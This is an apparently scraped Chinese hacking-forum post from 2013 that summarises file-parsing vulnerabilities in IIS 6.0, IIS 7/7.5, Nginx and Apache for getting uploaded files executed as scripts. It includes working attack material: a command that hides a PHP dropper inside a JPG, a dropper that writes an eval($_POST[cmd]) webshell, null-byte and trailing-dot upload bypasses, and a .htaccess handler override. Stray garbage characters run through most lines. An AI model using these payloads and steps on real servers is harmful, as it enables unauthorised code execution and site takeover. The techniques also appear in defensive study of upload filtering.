找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2756|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
) I5 N" c, y6 J[+]IIS6.0& R8 {# m  y' Y, X' w0 [7 n

* t" J5 ]* @) F" z" H目录解析:/xx.asp/xx.jpg 1 Z; ~% X! Q" O. p- Q5 g1 R. l
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
. u7 M7 a- p& a4 t7 _+ W4 [ IIS6.0 会将 xx.jpg 解析为 asp 文件。
% x# D+ O: N2 m  b9 m3 T$ I+ k后缀解析:/xx.asp;.jpg     
/ o3 i. d5 b. ^% \3 U IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
* g" ^( R) i& V4 g7 S+ _8 \, C* g默认解析:/xx.asa
8 s1 f" }& w( R2 g# f$ d% s0 \" R         /xx.cer$ C& z" \" e8 X% ]3 f1 W
         /xx.cdx
; L3 G) p" B* H/ i IIS6.0 默认的可执行文件除了 asp 还包含这三种- s1 D2 q- f. c% G+ `9 Q
此处可联系利用目录解析漏洞
9 C/ c( x5 o4 ]" `( f. l/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
3 J" v. ]& d# W" ?. s[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
# K4 A7 U. r! r! r5 m) h" e % l3 Y& _5 t7 G9 A; @
IIS 7.0/IIS 7.5/Nginx <0.8.03
3 o$ t/ A) {  ^$ ]  z) S0 I 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面% n; W0 K2 P4 j2 K* y3 T% J; A
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。6 m! v7 k. J: K8 z- a7 {* Y$ j
常用利用方法:8 j0 G8 q6 v5 v: N; i% ?$ E
将一张图和一个写入后门代码的文本文件合并将恶意文本9 `7 m" O# V. K
写入图片的二进制代码之后,避免破坏图片文件头和尾; m! Z% N% ^9 A8 C7 Q
如:
2 G. |1 m( C7 j) U1 n copy xx.jpg /b + yy.txt/a xy.jpg
" m0 R, h% m0 o* l6 B: B #########################################################
- N" j( C- i0 R3 x  N /b 即二进制[binary]模式2 E3 [/ ^8 c. X6 V3 }* I/ G
/a 即ascii模式
4 ?& h! E  `! @& R- U xx.jpg 正常图片文件- G0 t9 w) q1 a: E! N# F
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),( \+ h% D2 y; O# Q+ o3 S
'<?php eval($_POST[cmd])?>');?>5 Y) S* V  u0 z
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称: [4 X% k2 s* K
为shell.php的文件
' Q2 b4 v- U8 X- b ###########################################################
2 G5 y' d3 f1 i1 z7 C 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php & K2 j5 o' I* v: `
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
& }/ O, N; {1 D/ }2 k 密码 cmd  j0 @& e8 T- n- V
[+]Nginx <0.8.03* d3 u# N+ O3 ^& q

* w; `; y% a1 q( ^( W# y 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞; D4 s$ m  b' w% T0 y" I
在一个文件路径(/xx.jpg)后面加上%00.php
/ \0 H  F+ r4 [. h' m: b; j 会将 /xx.jpg%00.php 解析为 php 文件。
$ B' P# r0 ?5 S3 ~9 h2 l( l[+]Apache<0.8.03& k, \  q  Q$ {" A: e( f8 M
) z, |% ^; m" ^7 S& ~$ \1 ]
后缀解析:test.php.x1.x2.x31 h3 d' K* y. ~' E+ o* c
Apache将从右至左开始判断后缀,若x3非可识别后缀,( h# s0 k$ T  y( ?. c7 o
再判断x2,直到找到可识别后缀为止,然后将该可识别+ J' X: z+ T; D* F8 c/ b+ ?* ~
后缀进解析test.php.x1.x2.x3 则会被解析为php/ \' A9 a' ~3 j) ]. H) l( P
经验之谈:php|php3|phtml 多可被Apache解析。
& r4 L% \: D  j[+]其他一些可利用的9 h3 K& c, O) `7 O/ ?

5 r2 K0 m2 E; J, f, V  \7 ~* y在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
5 B$ P9 O: C0 ^+ v$ ]+ t% G" g9 h8 F若这样命名,windows会默认除去空格或点,这也是可以被利用的!
4 r/ N" ~  v; Z; v在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
- E: x" k" t4 M6 R6 `* [或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可; l' w, s. v. [, m! ^
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
( I0 [( w9 J3 X) }" N, I, N{Linux主机中不行,Linux允许这类文件存在}2 w, v' _* }1 k" n. i
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
8 {% K! F/ z( A9 h: \" M的,当初我并不知道),且可以被上传,那可以尝试在
3 ^# a4 s; Q% P8 j0 U& [.htaccess中写入:
5 X, M7 [- C0 w+ Z: D) b+ P& f% r<FilesMatch “shell.jpg”> 6 j+ u; S) z) E7 q! ~
SetHandler application/x-httpd-php
, ?7 J0 u0 Y5 A1 D+ W9 ^. D</FilesMatch>
0 W% P( G4 N2 }  {shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
6 r$ f; F/ O' h# ]" P+ @[+]错误修改& w3 B+ I# ?& }. `8 M9 o8 o

8 \' b+ F! [! r( [0 ~% p在 IIS 6.0 下可解析 /xx.asp:.jpg9 \- r, i- A! V4 @
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
  ]4 ~. o3 ?" b; F2 Z& W' h剩下/xx.asp}修改:
6 j. u9 Z9 y  H; |先谢谢核攻击的提醒; J, C) \  T0 M  u' a' [
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp- @) J- T; o5 o% s4 {8 ?: `
里是没有任何内容的,因为。。不好解释 大家自己看9 R( w9 s( w/ w
http://lcx.cc/?i=2448
& K1 @: Y' i% N+ t, thttp://baike.baidu.com/view/3619593.htm
. e# b/ X; e' S7 }( q1 D: x5 w& Y7 a/ n8 G% O3 Y- Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表